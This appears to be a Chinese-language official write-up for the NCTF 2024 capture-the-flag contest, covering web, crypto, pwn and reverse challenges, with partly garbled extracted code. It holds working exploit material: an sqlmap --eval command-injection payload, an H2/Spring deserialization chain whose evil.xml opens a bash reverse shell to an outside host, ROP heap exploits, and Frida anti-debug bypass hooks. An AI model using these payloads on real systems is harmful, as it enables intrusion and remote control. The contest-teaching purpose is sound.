Web
ez_dash & ez_dash_revenge
预期解是污染掉bottle.TEMPLATE_PATH实现任意⽂件读取 ,没想到可以<%%>直接rce sorry
1 @bottle.post('/setValue') 2 def set_value(): 3 name = bottle.request.query.get('name') 4 path=bottle.request.json.get('path') 5 if not isinstance(path,str): 6 return "no" 7 if len(name)>6 or len(path)>32: 8 return "no" 9 value=bottle.request.json.get('value') 10 return "yes" if setval(name, path, value) else "no" 11 12 @bottle.get('/render') 13 def render_template(): 14 path=bottle.request.query.get('path') 15 if len(path)>10: 16 return "hacker" 17 blacklist=["{","}",".","%","<",">","_"] 18 for c in path: 19 if c in blacklist: 20 return "hacker" 21 return bottle.template(path) |
⾸先就是这两个路由 ,理想状态下render路由只能渲染⽂件 ,⽽不是传⼊的字符串。但是我们看到
1 @classmethod
2 def search(cls, name, lookup=None):
3 """ Search name in all directories specified in lookup.
4 First without, then with common extensions. Return first hit. """
5 if not lookup:
6 raise depr(0, 12, "Empty template lookup path.", "Configure a
template lookup path.")
7
8 if os.path.isabs(name):
最终找到BaseTemplate的search⽅法 ,可以看到是没办法使⽤ ../../来逃逸的 ,所以需要想办法去修改 TEMPLATE_PATH ,然后去实现任意⽂件读取 ,接下来去看setval函数
1 def setval(name:str, path:str, value:str)-> Optional[bool]: 2 if name.find("__")>=0: return False 3 for word in forbidden_name : 4 if name==word: 5 return False 6 for word in forbidden_path : 7 if path.find(word)>=0: return False 8 obj=globals()[name] 9 try: 10 pydash.set_(obj,path,value) 11 except: 12 return False 13 return True |
结合⿊名单和限制⼤致的利⽤就是
1 setval.__globals__.bottle.TEMPLATE=['../../../../../proc/self/'] |
但是pydash是不允许去修改 globals 属性的 ,去看—下代码
1 def _raise_if_restricted_key(key): 2 # Prevent access to restricted keys for security reasons. 3 if key in RESTRICTED_KEYS: 4 raise KeyError(f"access to restricted key {key!r} is not allowed") |
所以可以先利⽤这个setval将RESTRICTED_KEYS修改
然后再去修改
sqlmap-master
签到题, 考虑到在平台靶机上跑⼀个sqlmap 有亿点点危险, 所以设置成了不出⽹
很显然的 subprocess.Popen, 但因为设置了
shell=False |
导致⽆法利⽤反引号等技巧进⾏常规的
命令注⼊
但是仔细观察可以发现我们还是可以控制sqlmap 的参数, 即参数注⼊ 结合 GTFOBins: sqlmap | GTFOBins
通过
--eval |
参数可以执⾏ Python 代码, 然后因为上⾯
command .split()
默认是按空格分隔
的, 所以需要⼀些⼩技巧来绕过
注意这⾥参数的值不需要加上单双引号, 因为上⾯已经设置了
shell=False |
, 如果加上去反⽽代表的
是 "eval ⼀个 Python 字符串" 最终 payload
代码块 1 127.0.0.1:8000 --eval __import__('os').system('env') |
这道题是⽤ LLM 出的, 爱来⾃ DeepSeek ❤
internal_api
考点: 利⽤ HTTP Status Code 进⾏ XSLeaks src/route.rs
路由仅允许 bot 访问, 同时其
db : :search |
的第三个参数传⼊了 true, 代表
允许搜索 hidden comments (flag)
如果能搜到 comments, 返回
OK()
(200), 否则返回
(500)
这是⼀个很经典的 XSLeaks 题⽬ , 根据Introduction | XS-Leaks Wiki, 结合以上不同的 HTTP 状态码, 可以利⽤ onload 和 onerror 事件 leak flag
payload
述已给提⽰)
H2Revenge
考点: H2 数据库在 JRE 环境下的利⽤
出题思路源于去年研究的⼀个 RCE: https://exp10it.io/2024/03/solarwinds-security-event- manager-amf-deserialization-rce-cve-2024-0692/
题⽬是 Java 17 环境, 给了⼀个反序列化路由和 MyDataSource 类
26 } 27
28 @Override
29 public Connection getConnection(String username, String password) throws
SQLException {
30 return DriverManager.getConnection(url, username, password);
31 }
32
33 @Override
34 public PrintWriter getLogWriter() throws SQLException {
35 return null;
36 } 37
38 @Override
39 public void setLogWriter(PrintWriter out) throws SQLException {
40
41 } 42
43 @Override
44 public void setLoginTimeout(int seconds) throws SQLException {
45
46 } 47
48 @Override
49 public int getLoginTimeout() throws SQLException {
50 return 0;
51 } 52
53 @Override
54 public <T> T unwrap(Class<T> iface) throws SQLException {
55 return null;
56 } 57
58 @Override
59 public boolean isWrapperFor(Class<?> iface) throws SQLException {
60 return false;
61 } 62
63 @Override
64 public Logger getParentLogger() throws SQLFeatureNotSupportedException {
65 return null;
66 }
67 }
结合 H2 依赖, 很明显是通过反序列化打 JDBC
前半部分的思路很简单, 通过 EventListenerList (readObject -> toString) + POJONode (toString -> 任 意 Getter 调⽤) 触发 MyDataSource 的 getConnection ⽅法
后半部分需要⽤ JDBC 打 H2 RCE, 常规思路是利⽤ CREATE ALIAS 创建 Java 函数或者是利⽤
JavaScript 引擎 RCE 但这⾥的坑点在于:
1. Java 17 版本中 JavaScript 引擎 (Nashorn) 已经被删除
2. 题⽬给的是 JRE 17 ⽽不是 JDK 17, 不存在 javac 命令, ⽆法编译 Java代码, 也就是说⽆法像常规思 路那样通过 CREATE ALIAS 创建 Java 函数
翻阅 H2 数据库⽂档可知, CREATE ALIAS 除了创建 Java 函数外, 还能够直接引⽤已知的 Java静态⽅ 法, 这个过程不需要 javac 命令
Features Data Types SQL Grammar
那么就可以尝试结合第三⽅依赖使⽤⼀些特定的静态⽅法完成 RCE
理论上会有很多种利⽤思路, 我的思路是利⽤ Spring 的 ReflectUtils 反射调⽤ ClassPathXmlApplicationContext 的构造⽅法
v 1代码C EATE ALIAS CLASS_FOR_NAME FOR 'java.lang.Class.forName(java.lang.String)'; 2 CREATE ALIAS NEW_INSTANCE FOR 'org.springframework.cglib.core.ReflectUtils.newInstance(java.lang.Class, java.lang.Class[], java.lang.Object[])'; 3 4 SET @url_str='http://host.docker.internal:8000/evil.xml'; 5 SET @context_clazz=CLASS_FOR_NAME('org.springframework.context.support.ClassPathXm lApplicationContext'); 6 SET @string_clazz=CLASS_FOR_NAME('java.lang.String'); 7 8 CALL NEW_INSTANCE(@context_clazz, ARRAY[@string_clazz], ARRAY[@url_str]); |
不过这⾥存在⼀个问题, 如果直接这样执⾏ SQL 语句的话会报错
代码块 1 Caused by: org.h2.jdbc.JdbcSQLDataException: Data conversion error converting "CHARACTER VARYING to JAVA_OBJECT"; SQL statement: 2 3 CALL NEW_INSTANCE(@context_clazz, ARRAY[@string_clazz], ARRAY[@url_str]) [22018-232] |
这是由于 H2 不⽀持
JAVA_OBJECT |
与 VARCHAR (CHARACTER VARYING) 类型之间的转换
上⾯的
@url_str |
属于 VARCHAR 类型, ⽽ ReflectUtils.newInstance 传⼊的参数 args 属于 Object
类型
解决办法是找⼀个参数是 Object 类型并且返回值是 String 类型的静态⽅法, 间接实现类型的转换, 可以 使⽤ CodeQL/Tabby 或者⼿⼯查找
代码块
1 import java
2
3 from Method m
4 where
5 m.isPublic() and
6 m.isStatic() and
7 m.getNumberOfParameters() = 1 and
我选择的是
avax .naming.ldap.Rdn .unescapeValue |
⽅法
最终 payload
代码块
evil.xml
代码块 1 <?xml version="1.0" encoding="UTF-8" ?> 2 <beans xmlns="http://www.springframework.org/schema/beans" 3 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 4 xsi:schemaLocation=" 5 http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> 6 <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> 7 <constructor-arg> 8 <list> 9 <value>bash</value> 10 <value>-c</value> 11 <value><![CDATA[bash -i >& /dev/tcp/host.docker.internal/4444 0>&1]]></value> 12 </list> 13 </constructor-arg> 14 </bean> 15 </beans> |
反序列化 payload
UnsafeUtil
代码块
1 package exploit; 2
3 import sun.misc.Unsafe; 4
5 import java.lang.reflect.Field; 6
7 public class UnsafeUtil {
8 private static final Unsafe unsafe;
9
10 static {
11 try {
12 Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
13 Field theUnsafeField = unsafeClass.getDeclaredField("theUnsafe");
14 theUnsafeField.setAccessible(true);
15 unsafe = (Unsafe) theUnsafeField.get(null);
16 } catch (Exception e) {
17 throw new RuntimeException(e);
18 }
19 }
20
21 public static void patchModule(Class clazz) throws Exception {
22 Module baseModule = Object.class.getModule();
23 setFieldValue(clazz, "module", baseModule);
24 }
25
26 public static Object getFieldValue(Object obj, String name) throws
Exception {
27 return getFieldValue(obj.getClass(), obj, name);
28 }
29
30 public static Object getFieldValue(Class<?> clazz, Object obj, String
name) throws Exception {
31 Field f = clazz.getDeclaredField(name);
32 long offset;
33
34 if (obj == null) {
35 offset = unsafe.staticFieldOffset(f);
36 } else {
37 offset = unsafe.objectFieldOffset(f);
38 }
39
40 return unsafe.getObject(obj, offset);
41 }
42
43 public static void setFieldValue(Object obj, String name, Object val)
throws Exception {
44 setFieldValue(obj.getClass(), obj, name, val);
45 }
46
47 public static void setFieldValue(Class<?> clazz, Object obj, String name,
Object val) throws Exception {
48 Field f = clazz.getDeclaredField(name);
49 long offset;
50
51 if (obj == null) {
52 offset = unsafe.staticFieldOffset(f);
53 } else {
ReflectUtil
SerializeUtil
Crypto
Sign,绮云,Arcahv三题的渲染出了点⼩问题 ,将就着看看截图。官⽅wp传送⻔:
https://crystaljiang232.github.io/nctf2024/
Sign 解析
完整exp
5 from Crypto.Util.number import *
6 from functools import reduce
7 from random import *
8 from pwn import *
9 from Crypto.Util.Padding import unpad
10 from Crypto.Cipher import AES
11 from hashlib import md5
12
13 def inv_shift_right(x:int,bit:int,mask:int = 0xffffffff) -> int:
14 tmp = x
15 for _ in range(32//bit):
16 tmp = x ^^ tmp >> bit & mask
17 return tmp
18
19 def inv_shift_left(x:int,bit:int,mask:int = 0xffffffff) -> int:
20 tmp = x
21 for _ in range(32//bit):
22 tmp = x ^^ tmp << bit & mask
23 return tmp
24
25 def rev_extract(y:int) -> int:
26 y = inv_shift_right(y,18)
27 y = inv_shift_left(y,15,4022730752)
28 y = inv_shift_left(y,7,2636928640)
29 y = inv_shift_right(y,11)
30 return y
31
32 def exp_mt19937(output:list) -> int:
33 assert len(output) == 624
34 cur_stat = [rev_extract(i) for i in output]
35 r = Random()
36 r.setstate((3, tuple([int(i) for i in cur_stat] + [624]), None))
37 return r.getrandbits(32)
38
39 io = remote('39.106.16.204',24259)
40 io.recvuntil(b':')
41 aes_cipher = bytes.fromhex(io.recvline().strip().decode())
42 io.sendlineafter(b':',b'')
43 msg = []
44 for _ in range(30000):
45 io.recvuntil(b'[+]')
46 msg.append(int(io.recvline().strip().decode()))
47
48 io.close()
49 msg = [msg[i:i+2500] for i in range(0,30000,2500)]
50
51
绮云 解析
RSA N-Orcale
RSA Fault injection
格攻击
ECDSA
完整exp
1 #sage
2 __import__('os').environ['TERM'] = 'xterm' 3
4 from pwn import *
5 from sage.all import *
6 from time import time
7 from hashlib import sha256
8
9 io = remote('39.106.16.204',10645)
10 # io = process(['python3', 'task.py']) 11
12 nls = []
13 els = [] 14
15 recv_hexint = lambda: int(io.recvline().strip().decode(),16) 16
17 t0 = time() 18
19 for _ in range(10):
20 io.sendlineafter(b'option:',b'1')
21 #decipher N via GCD 22
23 numls = []
24 for i in range(9):
25 msg = int(1 << (i + 1)).to_bytes(2,'big')
26 io.sendlineafter(b'exit:',b'e')
27 io.sendlineafter(b'message:',msg.hex().encode())
28 io.sendlineafter(b'interfere?',b'0')
29 io.recvuntil(b'Result:')
30 numls.append(int(io.recvline().strip().decode(),16))
31
32 gcdls = []
33 for i in range(1,9):
34 gcdls.append(numls[0] ^ (i+1) - numls[i])
35
36 n = gcd(gcdls)
37 nls.append(n)
38 print(f'n #{_} = {n}')
39
40 #decipher e via fault injection of e
41
42 orcale_msg = 3
43
44 io.sendlineafter(b'exit:',b'e')
45
io.sendlineafter(b'message:',int(orcale_msg).to_bytes(1,'big').hex().encode())
46 io.sendlineafter(b'interfere?',b'2048')
47 io.recvuntil(b'Result:')
48 basis = recv_hexint() * pow(orcale_msg, -2^2048, n) % n #basis, =
pow(m,e,n)
49
50 e_rng = [0] * 2048
51
52 for i in range(2048):
53 io.sendlineafter(b'exit:',b'e')
54
io.sendlineafter(b'message:',int(orcale_msg).to_bytes(1,'big').hex().encode())
55 io.sendlineafter(b'interfere?',str(i).encode())
56 io.recvuntil(b'Result:')
57
58 temp = recv_hexint()
59 multiplier = pow(orcale_msg,2^i,n)
60
61 if temp == basis * multiplier % n: #0 -> 1, original = 0
62 e_rng[i] = 0
63 else: #1 -> 0, original = 1
64 assert temp == basis * pow(multiplier,-1,n) % n #ensure
65 e_rng[i] = 1
66
67 e_res = int(''.join(str(i) for i in e_rng)[::-1],2)
68 assert pow(orcale_msg,e_res,n) == basis
69 els.append(e_res)
70
71 print(f'e #{_} = {e_res}')
72 print(f'Time elasped: {time()-t0:.2f}s')
73 io.sendlineafter(b'exit:',b'')
74
75
76 const = 2^1024
77 mt = matrix.diagonal(ZZ,nls + [0]).dense_matrix()
78 mt[-1] = els + [const]
79 mt = mt.LLL()
80
81 temp = abs(mt[0,-1])
82 assert temp % const == 0 83 d = ZZ(temp / const)
84
85 x = d.nth_root(4)
86 E =
EllipticCurve(Zmod(0xFFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFF
FFFFFFF),
Arcahv
题如其名 ⸺ Arcahv,聚合 ,⼤杂烩。
核⼼考点包括 RSA LSB Orcale ,LCG ,Coppersmith。
RSA LSB Orcale
LCG
Coppersmith
完整exp
5 from pwn import *
6 from Crypto.Util.number import *
7 from Crypto.Cipher import AES
8
9 def hexify_send(num:int) -> bytes:
10 return long_to_bytes(num).hex().encode()
11
12 io = remote('39.106.16.204',28575)
13 # io = process(['python3', 'arcahv.py'])
14
15 io.sendlineafter(b'>',b'1') 16
17 io.recvuntil(b':')
18 enc_flag = int(io.recvline().strip().decode(),16)
19 io.recvuntil(b':')
20 enc_hint =
int.from_bytes(bytes.fromhex(io.recvline().strip().decode()),'little')
21 io.recvuntil(b':')
22 enc_hint2 = bytes.fromhex(io.recvline().strip().decode())
23
24 # RSA LSB Orcale
25
26 m = enc_hint
27 omit_count = 127
28 io.sendlineafter(b'>',b'2')
29 io.recvuntil(b'(')
30 rn = int(io.recvuntil(b',',drop=True).strip().decode(),16)
31 re = int(io.recvuntil(b')',drop=True).strip().decode(),16) 32
33 upper_bound = reduce(lambda x,y:floor(x/256),range(omit_count),rn) 34
35 lower_bound = 0
36 single_mul = pow(256,re,rn)
37 inv = pow(rn,-1,256) 38
39 m = m * pow(single_mul,omit_count,rn) % rn 40
41 for i in range(75):
42 m = int(m * single_mul % rn)
43
44 io.sendlineafter(b'?',b'y')
45 io.sendlineafter(b':',hexify_send(m))
46 io.recvuntil(b':')
47 this = int(io.recvline().strip().decode()[:2],16)
48
49 k = int(-this * inv % 256)
50 ttl = (upper_bound - lower_bound) / 256
51
52 lower_bound += ceil(k * ttl)
53 upper_bound = lower_bound + floor(ttl)
54
55 res_pp = lower_bound
56
57 # LCG
58
59 io.sendlineafter(b'>',b'3')
60 ls = []
61 for _ in range(80):
62 io.sendlineafter(b'?',b'y')
63 ls.append(int(io.recvline().strip().decode()))
64
65
66 hexstr = ''.join(hex(i)[2:].zfill(16) for i in ls)
67 lcgnums = [int(hexstr[i:i+256],16) for i in range(0,len(hexstr),256)]
68
69
70 A = [lcgnums[i+1]-lcgnums[i] for i in range(4)] 71 p = gcd(A[1]^2 - A[2]*A[0],A[2]^2 - A[3]*A[1]) 72
73 if not isPrime(p):
74 p = factor(p)[-1][0] 75
76 assert isPrime(p) 77
78 a = int(A[1] * int(pow(A[0],-1,p)) % p)
79 b = int((lcgnums[1] - a * lcgnums[0]) % p) 80
81 cur = Zmod(p)(lcgnums[0])
82 count = 0
83 while int(cur).bit_length() > 128:
84 cur = (cur - b) * pow(a,-1,p)
85 count += 1
86
87 key = int(cur).to_bytes(16,'big')
88 res_n = int.from_bytes(AES.new(key,AES.MODE_ECB).decrypt(enc_hint2),'big')
89
90 # Coppersmith
91 P.<x> = Zmod(res_n)[]
92 rt = (res_pp + x).small_roots(X=2^453,beta=0.4)[0] 93
94 p0 = int(res_pp + rt) 95
96 assert res_n % p0 == 0
97 q0 = res_n // p0
FaultMilestone0
Fault系列重点是怎么找到故障注⼊的点 ,找得到就不怎么难了 ,代码都不复杂。
源代码:
1 https://github.com/kokke/tiny-AES-c |
虽然只允许⼀次交互 ,但可以把故障点注⼊到 for 循环⾥ ,强制把后⼏轮的加密给跳过 ,直接拿密⽂异 或明⽂就⾏
FaultMilestone1
源代码同FaultMilestone0 ,修改了⼀下加密的逻辑 ,这次得打AES故障差分。
把故障注⼊到最后⼀轮列混淆之前的数据就可以 ,通过判断故障密⽂与正确密⽂的字节关系( ⼤概会 有四字节不同) ,就可以提取出正确的故障注⼊密⽂。
通过phoenixAES项⽬的⼯具 ,可以⽅便的实现差分攻击 ,提取出最后⼀轮轮密钥 ,再通过 aes_keyschedule项⽬的密钥恢复⼯具 ,还原主密钥就可以。
27 io.sendlineafter(b">",b"y") 28
29 length = 0
30 for shocktime in HIT_List:
31 while True:
32 COUNT = 0
33 io.sendlineafter(b">",str(shocktime).encode())
34 io.recvuntil(b"Result: ")
35 ENC = io.recvline().decode()
36 FAULT_BYTES = [ENC[2 * _ : 2* (_+1)] for _ in range(16)]
37 for _ in range(16):
38 if ENC_BYTES[_] != FAULT_BYTES[_]:
39 COUNT += 1
40 if COUNT == 4:
41 ENC_List.append(ENC)
42 print(f"[+] length = {length}")
43 length += 1
44 if(shocktime!=HIT_List[-1]):
45 io.sendlineafter(b">",b"y")
46 else:
47 io.sendlineafter(b">",b"n")
48 break
49
50 io.sendlineafter(b">",b"y") 51
52 assert len(ENC_List) == 13
53 tracefile = ""
54 for _ in ENC_List:
55 tracefile += _ + "\n"
56
57 with open("tracefile","wb") as t:
58 t.write(tracefile.encode("utf-8")
59 )
60
61 result = phoenixAES.crack_file("tracefile",verbose=0)
62 print(result) 63 # 调⽤外部程序
64 result = subprocess.run(["./aes_keyschedule.exe",result,"10"],
stdout=subprocess.PIPE)
65 output = result.stdout.decode('utf-8')
66 print(output)
67 KEY = output[5:4+33].lower()
68 io.sendlineafter(b">",KEY.encode())
69 io.interactive()
FaultMilestone2 源代码:
1 https://github.com/NEWPLAN/SMx |
思路和FaultMilestone1⼀样 ,主要是找到正确的故障注⼊点 ,同时要考虑调优 ,在⼀次正确、 四次错 误的条件下 ,还原出SM4后四轮的轮密钥 ,再利⽤sm4_keyschedule⼯具还原主密钥就⾏。
在phoenixSM4⼯具的描述⾥有相关的SM4故障注⼊论⽂ ,这题⽐较⿇烦的点就在于能交互的次数⽐较 少 ,后⼏轮其实怎么注都可以还原⼀定的轮密钥信息 ,我选的是27、26轮的X1。多试⼏次就打出来
了。
Pwn
Unauth-diary
没注意到出题时跟release版本不同 ,给各位师傅带来了不好的体验 ,再次给各位师傅磕⼀个
⾸先要知道
的⾏为是
malloc(0x20)
且malloc函数的参数类型是
size_t |
即
unsigned int |
然后程序中存堆结构信息的size部分是8byte ,输⼊为4byte ,且malloc(size+1) ,这⾥假设输⼊size为
0xffffffff |
, +1后就会导致溢出 ,进⽽
但存储的size为
0x1 00000000 |
。
后期利⽤的话 , 由于本题是基于fork的server ,不能直接
。
我⾃⼰测试的时候是漏env打栈 ,直接从没关的socket⾥⾯做orw。
赛中来问我的⼏位⼏乎全都在打io ,io 由于在exit前socket会被关掉 ,只能弹flag/shell。
两种打法都要控制rdx的gadget ,这个好办 ,随便找⼀下就⾏了。但打IO需要的magic_gadget可能要 费点事。
exp-environ-stack
11
12 def delete(idx):
13 menu(2)
14 s.sendlineafter(b"index:\n",str(idx).encode())
15
16 def edit(idx,content):
17 menu(3)
18 s.sendlineafter(b"index:\n",str(idx).encode())
19 s.sendlineafter(b"content:\n",content)
20
21 def show(idx):
22 menu(4)
23 s.sendlineafter(b"index:\n",str(idx).encode())
24 s.recvuntil(b"Content:\n")
25 return #s.recvline()[:-1]
26
27 if name ==" main ":
28 add(0x30)
29 add(0xffffffff)
30 add(0x80)
31 add(0x80)
32 edit(1,b"a"*0x20)
33 show(2)
34 dat=s.recv(8)
35 heap_base=u64(dat)-0x320
36 success(hex(heap_base))
37 delete(1)
38 add(0x2000000)
39 show(2)
40 dat=s.recv(8)
41 libc.address=u64(dat)-0x10+0x2001000
42 edit(2,p64(libc.sym.environ)+p64(9))
43 success(hex(libc.address))
44 show(1)
45 dat=s.recv(8)
46 stack=u64(dat)
47 success(hex(stack))
48 edit(2,p64(stack-0x2c0)+p64(0x1000))
49 rroopp=ROP(libc)
50 rdi=libc.address+0x000000000010f75b
51 rsi_rbp=libc.address+0x000000000002b46b
52 # rbx=libc.address+0x00000000000586e4
53 rbx_rbp=libc.address+0x0000000000114d3a
54 # 0x00000000000b0133 : mov rdx, rbx ; pop rbx ; pop r12 ; pop rbp ; ret
55 magic=libc.address+0x00000000000b0133
56 rop_chain=flat([
57 rdi,heap_base+0x2c0,
unauthwarden
漏洞为ecall_print_username中的fmt和ecall_do_seal_send中的栈溢出。
whoami泄露root密码 ,直接构造
pop rdi; ret; printf(root_password)
即可。
reveal的正解就是复现论⽂中的⼿法。 但赛中的唯⼀解Laogong直接偷了:
• ocall_read_user("root.data",len,buffer)
• unseal_buffer(buffer,len,unsealed_buffer,len)
• printf(unsealed_buffer) 只能说偷的好啊。
Reverse
SafeProgram
查看导出函数表可以发现
TlsCallback |
, 从这⾥⼊⼿分析。
第⼀个
tls_callback |
, 之后在注册表写⼊CRC的
checksum |
值。第⼆个对代码段进
⾏扫描并且查表计算CRC ,和注册表保存的
checksum |
⽐对 ,不⼀致则退出程序。
主函数⼀上来开了新的线程 ,⽽且每隔1000ms递归创建新线程。 因为tls回调函数在线程创建或者终⽌ 时都会调⽤ ,所以这⾥是在循环检测CRC。绕过检测的⽅法⽐较多 ,直接的⽅法是patch 删去
中调⽤的CRC检测函数。也可以在调试时只使⽤硬件断点。
后⾯就是常规的输⼊-加密-检查过程。加密函数是SM4 ,可以根据S盒的特征推测 ,或者绕过 CRC 之后 调试分析得出。要注意的是加密之前 ,程序主动触发除零异常 ,调⽤ VEH 异常处理函数修改了 key 和 Sbox
解密的话可以dump下来修改后的S盒以及key ,然后找⼀个SM4的脚本 ,修改Sbox之后解密即可。 ezDOS
写的16位程序。拿IDA打开 ,静态分析的话有多处花指令⼲扰。
⼀共有两种类型的花指令 ,都是⽐较常规的。
第⼀类:永恒跳转 ,nop掉即可。
1 jnz offset lable 2 jz offset lable + 1 |
第⼆类基于堆栈的 call + ret 。 al 经过⼀系列计算得到⼀个固定的值 ,加到 dl 然后 push 到栈上 ,间接修改了堆栈末尾的返回地址 , retf 回去就会改变正常的控制流 ,跳过部分指令。
1 call far ptr junkskip 2 3 junk segment 4 junkskip: 5 pop dx 6 push ax 7 xor ax, ax 8 ; ... 9 add dl, al 10 pop ax 11 push dx 12 retf 13 junk ends |
这种可能⽐较隐蔽 ,因为直接 call 进⼀个单独的函数 ,容易把它当成加密的⼀部分。这⾥没有加 0xE8 之类的 junkcode ⼲扰反汇编 ,⽽是使⽤正常的指令 ,⼀定程度上也起到混淆加密流程的作 ⽤ 。
找⼀个DOS环境 ,⽐如DOSBox之类的模拟器调试⼀下 ,基本就没什么困难了。动调时也能跟踪到 retf 之后控制流返回的地址。最终能分析出加密算法是部分魔改的RC4 ,改动的地⽅如下:
• S盒逆序初始化
• key 左移3位 ,右移5位
• 密钥流⽣成的值 加1
到这⾥就可以写脚本解密。考虑到RC4的流密码性质 ,这道题也可以采⽤更简单的做法:动调记录密钥 流 ,之后和密⽂逐⼀异或得到flag。
1 | data = [0x7C, 0x3E, 0x0D, 0x3C, | 0x88 | , | 0x54 | , | 0x83, 0x0E, 0x3B, 0xB8, |
2 | 0x99, 0x1B, 0x9B, 0xE5, | 0x23 | , | 0x43 | , | 0xC5, 0x80, 0x45, 0x5B, |
3 | 0x9A, 0x29, 0x24, 0x38, | 0xA9 | , | 0x5C | , | 0xCB, 0x7A, 0xE5, 0x93, |
4 | 0x73, 0x0E, 0x70, 0x6D, | 0x7C | , | 0x31 | , | 0x2B, 0x8C] |
5 | key = b"NCTf2024nctF" |
x1Login
这题⽤frida可以很快做出来 ,但是⾸先看⼀下常规⽅法
静态分析发现 Java层有root检测和反调试。 常规绕过⽅法应该是apktool解包修改smali代码 ,再重新
签名打包。 同时java层有字符串混淆 ,分析
libsimple .so |
得出算法是先异或字符串⻓度之后换表
base64 ,之后可以写脚本去混淆。
继续分析
MainActivity |
能够发现动态加载dex ,这个过程也会调⽤⼀个native⽅法
。
分析另外⼀个动态库
libnative .so |
, 加载的流程为:从assets提取名为
libsimple .so |
的⽂
件 ,之后从0x40偏移开始把内容复制到byte数组中 ,返回到 java层的
这⾥的
libsimple .so |
是假的ELF ,只有前0x40字节是
elf_header |
, 后⾯则是真正的dex。修
复后反编译如下:
username可以去混淆得到 ,⽤户名验证通过后把⾃⾝的md5作为密钥 ,传给
Secure .doCheck |
进
⼀步验证password。这⼜是⼀个native⽅法 ,不过已经到最后的加密部分了。看流程 ,先加密后解密 再加密 ,⼤概能猜到是3DES ,如果⽤findcrypt也能够查出来DES特征。
标准3DES就不多说了 ,不放⼼可以调试 ,加密函数内部也特意留了
android_log_print |
⽅便
查看结果。最后特别要注意的是字节序的问题 ,因为DES是64-bit的分组加密 ,所以明⽂ 、密⽂还有密
钥都直接⽤的
uint64_t |
类型 ,整个过程都遵循⼩端序。
在cyberchef解⼀下得到password。
| |
1 username: | X1c@dM1n1$t |
2 password: | SafePWD~5y$x?YM+5U05Gm6= |
接下来给出基于frida hook的快捷做法。
1. 过root检测和反调试: hook
checkDebug |
checkRoot |
, 修改返回值为
false |
2. 字符串去混淆: hook
DecStr .get |
的参数和结果
3. dex加载: hook
InMemoryDexClass Loader |
的构造函数或者
Secure .loadDex |
, 拿到
bytearray |
⽤开源⼯具frida-dexdump可能容易⼀点 ,但是要⼿动挨个看哪个dex是要找的 ,⼀般逆向题的dex 不会很⼤ ,找那种⼏kb的就⾏。
4. 算法分析:可以hook native ,找到 key 和加密过程的中间变量。 完整js脚本如下
8 Sec.checkDebug.implementation = function (){
9 return false;
10 }; 11
12 var DecStr = Java.use("com.nctf.simplelogin.DecStr");
13 //overload('java.lang.String')
14 DecStr.get.implementation = function (str) {
15 var result = this.get(str);
16 console.log(`[*] DecStr.get: ${str} ${result}`);
17 return result;
18 };
19 //overload('java.lang.String', '[B')
20 Sec.doCheck.implementation = function (str,barr) {
21 var result = this.doCheck(str,barr);
22 console.log(`[*] doCheck: key = ${barr}`);
23 return result;
24 };
25 });
26 }
27
28 function Start_NativeHook(libname) {
29 var dlopen = Module.findExportByName(null, "android_dlopen_ext");
30 Interceptor.attach(dlopen, {
31 onEnter: function (args) {
32 var filePath = args[0].readCString();
33 if (filePath.indexOf(libname) != -1) {
34 console.log(`[+] android_dlopen_ext: start hooking
${libname}`)
35 this.isCanHook = true;
36 }
37 }, onLeave: function (retValue) {
38 if (this.isCanHook) {
39 this.isCanHook = false;
40 hook_native();
41 }
42 }
43 })
44 }
45
46 function hook_native(){
47 var target_addr = Module.findBaseAddress("libnative.so").add(0x1F1C);
48 Interceptor.attach(target_addr,{
49 onEnter: function (args) {
50 var key0 = this.context.x22;
51 var key1 = this.context.x23;
52 console.log(`[+] native key = ${key0} ${key1}`);
53 },
gogo
⾸先恢复符号。 ⽬前⾼版本IDA已经能⾃动恢复golang符号 ,如果⽤
go_parser |
插件也能恢复的差
不多。
主要逻辑是⽤协程实现了两个并发的寄存器虚拟机 ,分别加密flag的前后两部分。解题思路依然是还原 vm字节码 ,只要能还原到汇编级别就⾜以正常分析。
在IDA可以找到vm的结构体。前两个好理解 ,对应寄存器和cache缓存 ,后⾯两个是缓冲channel ,分
别向vm传⼊字节码和等待返回运⾏结果 ,最后⼀个map是指令集。从 instr 管道的4字节⻓度和
的参数可以推测出vm使⽤4字节的定⻓指令集 ,看指令名称也可以发现类似ARM。
两个虚拟机的指令集不同 ,对应的初始化在
main_init |
⾥⾯ ,依次定义了两个map类型变量。指
令函数
handler |
是⼆者共⽤的 ,需要逆向分析
opcode |
和
的对应关系 ,这⾥直接给
出结论:
1 type handler func(vm *coroutVM, operands [3]byte) 2 3 var instructionSetA = map[byte]handler{ 4 0x11: LDR, 5 0x12: LDRI, 6 0x15: STR, 7 0x16: STRI, 8 0x2A: MOV, 9 0x41: ADD, 10 0x42: SUB, 11 0x47: MUL, 12 0x71: LSL, 13 0x73: LSR, 14 0x7A: XOR, 15 0x7B: AND, 16 0xFE: RET, 17 0xFF: HLT, 18 } 19 20 var instructionSetB = map[byte]handler{ 21 0x13: LDR, 22 0x14: LDRI, 23 0x17: STR, 24 0x18: STRI, 25 0x2B: MOV, 26 0x91: ADD, 27 0x92: SUB, 28 0x97: MUL, 29 0xC1: LSL, 30 0xC3: LSR, 31 0xCA: XOR, 32 0xCB: AND, 33 0xFE: RET, 34 0xFF: HLT, 35 } |
分析
main_main |
, 发现程序将flag拆分成20字节的明⽂块 ,分别复制到虚拟机的缓存中。接着同时
开启两个vm的协程 ,并向 instr 管道发送相同的字节码指令 ,两个虚拟机的指令混在⼀起 ,只有能
匹配上vm⾃⾝指令集的指令会被执⾏。还原指令时 ,根据opcode把⼆者的指令分开会更⽅便分析。
⼤多数指令的结构都是
opcode(1byte) + dst reg(1byte) + src reg(2byte)
, 也有例
如
这样涉及⽴即数的指令 ,最好结合调试对应的 handler 函数来进⼀步确定各
operand |
的含
义。分析清楚指令结构之后 ,就可以dump出程序中的vm字节码 ,写⼀个⾃动化或者半⾃动化的脚本 进⾏还原。这⾥给出⼀个可⽤的 golang 脚本
1 package main 2
3 import ( 4 "fmt"
5 "os"
6 ) 7
8 var InstructionSetA = map[byte]string{
9 0x11: "LDR",
10 0x12: "LDRI",
11 0x15: "STR",
12 0x16: "STRI",
13 0x2A: "MOV",
14 0x41: "ADD",
15 0x42: "SUB",
16 0x47: "MUL",
